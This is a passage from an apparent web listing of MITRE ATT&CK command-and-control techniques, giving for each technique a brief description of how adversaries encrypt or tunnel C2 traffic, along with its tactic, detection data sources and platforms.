Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre